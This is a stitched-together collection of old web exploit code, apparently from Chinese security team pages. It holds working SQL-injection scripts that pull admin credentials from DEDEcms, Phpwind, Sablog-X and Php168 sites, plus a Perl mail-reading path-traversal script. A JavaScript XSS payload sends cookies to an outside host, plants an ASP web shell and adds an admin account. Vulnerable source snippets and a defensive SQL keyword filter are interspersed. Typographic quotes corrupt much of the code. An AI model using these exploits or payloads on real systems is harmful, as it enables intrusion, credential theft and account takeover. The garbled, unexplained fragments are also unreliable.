//重载列表
if($dopost=='getlist'){
PrintAjaxHead();
GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数
$dsql->Close();
exit();
……
function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){
global $cfg_phpurl,$cfg_ml;
$jobs = array();
$start = ($pageno-1) * $pagesize;

if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].’ host path
host: target server (ip/hostname)
path: path to DEDEcms
Example:
php ‘.$argv[0].’ localhost /
——————————————————————————–
‘);
die;
}

function sendpacketii($packet)
{
global $host, $html;
$ock=fsockopen(gethostbyname($host),’80′);
if (!$ock) {
echo ‘No response from ‘.$host; die;
}
fputs($ock,$packet);
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$prefix=”dede_”;
$cookie=”DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa”;

if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/'))
{echo ‘Error… check the path!’; die;}

/*get $prefix*/
$packet =”GET “.$path.”/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=11′ HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (eregi(”in your SQL syntax”,$html))
{
$temp=explode(”From “,$html);
$temp2=explode(”member”,$temp[1]);
if($temp2[0])
$prefix=$temp2[0];
echo “[+]prefix -> “.$prefix.”\n”;
}

$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
echo “[~]exploting now,plz waiting\r\n”;

/*get password*/
$j=1;$password=”";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$password.=chr($i);echo”[+]pwd:”.$password.”\r\n”;break;}
}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}

/*get userid*/
$j=1;$admin=”";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=”orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+”.$prefix.”admin+where+id=1),”.$j.”,1))=”.$i.”,1,(SELECT+pwd+FROM+”.$prefix.”member))”;
$packet =”GET “.$path.”member/guestbook_admin.php?dopost=getlist&pageno=1&”.$sql.” HTTP/1.0\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n”;
$packet.=”Connection: Close\r\n\r\n”;
sendpacketii($packet);
if (!eregi(”Subquery returns more than 1 row”,$html)) {$admin.=chr($i);echo”[+]userid:”.$admin.”\r\n”;break;}
if ($i==255) {die(”Exploit failed…”);}
}
$j++;
}

data = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″
pwurl = “%s” % argvs[1]
pwurl = pwurl + “wap/index.php”

print “\r\n\r\nPhpwind Admin Pass Change Exploit”
print “Phpwind <=5.3 "
print "By 80sec "
print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1\r\n"

print "\r\n[+]TargetForum: "+argvs[1]
print "[+]TargetId: "+argvs[2]

request = urllib2.Request(
url = pwurl ,
headers = {'Content-Type' : 'application/x-www-form-urlencoded','User-Agent': '80sec owned this'},
data = data)
f=opener.open(request)
headers=f.headers.dict
try :
cookie=headers["set-cookie"]
if cookie.index('winduser') :
print "[+]Exploit Success"
else : print "[-]Exploit Failed"

except:
print "[-]Exploit Failed"

print_r('
+---------------------------------------------------------------------------+
Sablog-X <= 1.6 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by SaBlog-X"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].’ host path code
host: target server (ip/hostname)
path: path to sablog-x
code: the last blog trackback gbk code
Example:
php ‘.$argv[0].’ localhost /sablog-x/ MQlnYmsJMTIxNzkyMzE0OAkw
+—————————————————————————+
‘);
exit;
}

error_reporting(7);
ini_set(’max_execution_time’, 0);

$host = $argv[1];
$path = $argv[2];
$code = $argv[3];

$arr = explode(”\t”, base64_decode($code));
if (count($arr) != 4)
exit(”Exploit Failed!\n”);

$url = ‘http://’.$host.$path.’?action=show&id=’.$arr[0];

send();
preg_match(’#<a\shref=”1″\starget=”_blank”>([\S]+):([a-z0-9]{32})</a<#’, file_get_contents($url), $hash);

if ($hash)
exit(”Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n”);
else
exit(”Exploit Failed!\n”);

function send()
{
global $host, $path, $code;

$cmd = ‘url=http://’.$host.$path.’&title=ryat%bf%27,’.time().’,1,1,(SELECT CONCAT(username,0×3a,password) FROM sablog_users WHERE userid=1),’.time().’,1,1)#&excerpt=ryat&blog_name=ryat’;

$message = “POST “.$path.”trackback.php?code=$code HTTP/1.1\r\n”;
$message .= “Accept: */*\r\n”;
$message .= “Accept-Language: zh-cn\r\n”;
$message .= “Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= “User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
$message .= “Host: $host\r\n”;
$message .= “Content-Length: “.strlen($cmd).”\r\n”;
$message .= “Connection: Close\r\n\r\n”;
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = ”;

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

use LWP;
my $browser = LWP::UserAgent->new;

$mysid="d9a4c4f05aca535d696f8983a23e42bd";
$mytarget="http://www.80sec.com/";
$user='80sec';

$ARGV[0]&&($user=$ARGV[0]);
open(RESULT,”>>$user.txt”);

for($i=0;;$i++) {
my @headers=(’Cookie’=>”sid=$mysid”,’User-Agent’=>’Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)’,);
$myresponse=$browser->post(”${mytarget}compose.cgi”,['__mode'=>'edit_forward','folder'=>"Sent/../../../${user}/Maildir",'pos'=>"$i"],@headers);
$myecho=$myresponse->content;
$_=$myecho;
if(m/Some errors occured/i) {
print “Error!”;
print $_;
unlink “$user.txt”;
exit;
}

$bak=$_;

s/(.*?)value=\”Fwd:(.+?)\” onKeyDown=(.*?)$/$2/sg;
$subject=$_;

$_=$bak;
s/(.*?)<textarea name=”message”(.+?)>(.+?)<\/textarea>(.*)/$3/sg;
s/<br>/\n/sg;
s/"/\”/sg;
s/</</g;
s/>/>/sg;
s/ / /sg;
s/\r/\n/sg;
s/\n+/\n/sg;
s/<.*?>//sg;
s/——– Forwarded Messages ——–//sg;
$last=$_;

s/\s//sg;
s/From://sg;
s/To://sg;
$msg=$_;

# $subject=chomp($subject);
# $msg=chomp($msg);
if(!$subject&&!$msg) {
print “Done!估计没了!\r\n”;
print $last;
exit;
}
print “$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标题：”.$subject.”\r\n内容：”.$msg.”++++++++++++++++++++++++++++++++++++++++++++\r\n”;
print RESULT “$user第$i封邮件:\r\n++++++++++++++++++++++++++++++++++++++++++++\r\n标题：”.$subject.”\r\n内容：”.$msg.”++++++++++++++++++++++++++++++++++++++++++++\r\n”;

Dim objRegExp
Set objRegExp=new RegExp
objRegExp.IgnoreCase =True
objRegExp.Global=True

If ZC_UBB_LINK_ENABLE And Instr(strType,"[link]“)>0 Then

objRegExp.Pattern=”(\[URL\])(([a-zA-Z0-9]+?):\/\/\S+?)(\[\/URL\])”
strContent= objRegExp.Replace(strContent,”$2“)

objRegExp.Pattern=”(\[URL\])(.+?)(\[\/URL\])”
strContent= objRegExp.Replace(strContent,”$2“)

objRegExp.Pattern=”(\[URL=)(([a-zA-Z0-9]+?):\/\/\S+?)(\])(.+?)(\[\/URL\])”
strContent= objRegExp.Replace(strContent,”$5“)

objRegExp.Pattern=”(\[URL=)(\S+?)(\])(\S+?)(\[\/URL\])”
strContent= objRegExp.Replace(strContent,”$4“)

objRegExp.Pattern=”(\[EMAIL\])(\S+\@\S+?)(\[\/EMAIL\])”
strContent= objRegExp.Replace(strContent,”$2“)

objRegExp.Pattern=”(\[EMAIL=)(\S+\@\S+?)(\])(.+?)(\[\/EMAIL\])”
strContent= objRegExp.Replace(strContent,”$4“)

[URL][URL]http://=''style='c:expression(alert())'[/URL][/URL]

$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file=$_SERVER['DOCUMENT_ROOT'].md5($_SERVER['DOCUMENT_ROOT']).”.php”;

while (true)
{
$pos = strpos($db_string, ‘\”, $pos + 1);
if ($pos === false)
break;
$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (true)
{
$pos1 = strpos($db_string, ‘\”, $pos + 1);
$pos2 = strpos($db_string, ‘\\’, $pos + 1);
if ($pos1 === false)
break;
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}

$pos = $pos2 + 1;
}
$clean .= ‘$s$’;

$old_pos = $pos + 1;
}

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array(’~\s+~s’ ), array(’ ‘), $clean)));

//老版本的Mysql并不支持union，常用的程序里也不使用union，但是一些黑客使用它，所以检查它
if (strpos($clean, ‘union’) !== false && preg_match(’~(^|[^a-z])union($|[^[a-z])~s’, $clean) != 0){
$fail = true;
$error=”union detect”;
}
//发布版本的程序可能比较少包括–,#这样的注释，但是黑客经常使用它们
elseif (strpos($clean, ‘/*’) > 2 || strpos($clean, ‘–’) !== false || strpos($clean, ‘#’) !== false){
$fail = true;
$error=”comment detect”;
}
//这些函数不会被使用，但是黑客会用它来操作文件，down掉数据库
elseif (strpos($clean, ’sleep’) !== false && preg_match(’~(^|[^a-z])sleep($|[^[a-z])~s’, $clean) != 0){
$fail = true;
$error=”slown down detect”;
}
elseif (strpos($clean, ‘benchmark’) !== false && preg_match(’~(^|[^a-z])benchmark($|[^[a-z])~s’, $clean) != 0){
$fail = true;
$error=”slown down detect”;
}
elseif (strpos($clean, ‘load_file’) !== false && preg_match(’~(^|[^a-z])load_file($|[^[a-z])~s’, $clean) != 0){
$fail = true;
$error=”file fun detect”;
}
elseif (strpos($clean, ‘into outfile’) !== false && preg_match(’~(^|[^a-z])into\s+outfile($|[^[a-z])~s’, $clean) != 0){
$fail = true;
$error=”file fun detect”;
}
//老版本的MYSQL不支持子查询，我们的程序里可能也用得少，但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match(’~\([^)]*?select~s’, $clean) != 0){
$fail = true;
$error=”sub select detect”;
}

if (!empty($fail))
{

fputs(fopen($log_file,’a+’),”<?php die();?>||$db_string||$error\r\n”);
die(”Hacking Detect<br><a href=http://www.80sec.com/>http://www.80sec.com“);
}

else {
return $db_string;
}
}

/*
$sql=”select * from news where id=’”.$_GET[id].”‘”; //程序功能的SQL语句，有用户数据进入，可能存在SQL注射

check_sql($sql); //用我们的函数检查SQL语句

mysql_query($sql); //安全的数据库执行
*/

$SQL.=" AND aid!='$id' ";

if(!$keyword)
{
extract($db->get_one("SELECT keywords AS keyword FROM {$pre}article WHERE aid='$id'"));
}

if($keyword){
$SQL.=" AND ( ";
$keyword=urldecode($keyword);
$detail=explode(" ",$keyword);
unset($detail2);
foreach( $detail AS $key=>$value){
$detail2[]=” BINARY title LIKE ‘%$value%’ “;
}
$str=implode(” OR “,$detail2);
$SQL.=” $str ) “;
}else{
$SQL.=” AND 0 “;
}

$ORDER=’ list ‘;
}

if(!$webdb[viewNoPassArticle]){
$SQL.=’ AND yz=1 ‘;
}

print_r('
+---------------------------------------------------------------------------+
Php168 v2008 SQL injection / admin credentials disclosure exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168 V2008"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 3) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path
host: target server (ip/hostname)
path: path to php168
Example:
php '.$argv[0].' localhost /php168/
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];

$resp = send();
preg_match('/([a-z0-9]+)_article/', $resp, $pre);

if ($pre)
$resp = send();
else
exit("Exploit Failed!\n");

preg_match('/content_([\S]+)\|([a-z0-9]{32})/', $resp, $pwd);

if ($pwd)
exit("Expoilt Success!\nadmin:\t$pwd[1]\nPassword(md5):\t$pwd[2]\n");
else
exit("Exploit Failed!\n");

function send()
{
global $host, $path, $pre;

if ($pre)
$cmd = 'type=like&keyword=%2527)/**/UNION/**/SELECT/**/1,1,1,1,CONCAT(username,%2527|%2527,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/FROM/**/'.$pre[1].'_members/**/WHERE/**/uid=1%23';
else
$cmd = 'type=like&keyword=%2527';

$message = "POST ".$path."jsarticle.php HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($cmd)."\r\n";
$message .= "Connection: Close\r\n\r\n";
$message .= $cmd;

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);

return $resp;
}

?>

strUrl=URLDecodeForAntiSpam(Request.QueryString("url"))

Dim i,s
For i =1 To Len(strUrl) Step 2
s=s & Mid(strUrl,i,1)
Next
URLDecodeForAntiSpam=s

//get cookie
x=new Image();
x.src="http://www.80sec.com/c.php?c="+escape(document.cookie);

//get a shell
data="txaContent=<%25execute(request(%22a%22))%25>“;
postmydata(”http://www.0×37.com/cmd.asp?act=SiteFilePst&path=%2E%2FUPLOAD%2Findex%2Easp&opath=”,data);

//add a user data=”edtID=0&edtLevel=2&edtName=xss2root&edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&edtPassWordRe=xss2root&edtEmail=null@null.com&edtHomePage=&edtAlias=”;
postmydata(”http://www.0×37.com/cmd.asp?act=UserCrt”,data);

//fool the user
window.location=tolocation;

function poster(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType(’text/xml’);
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}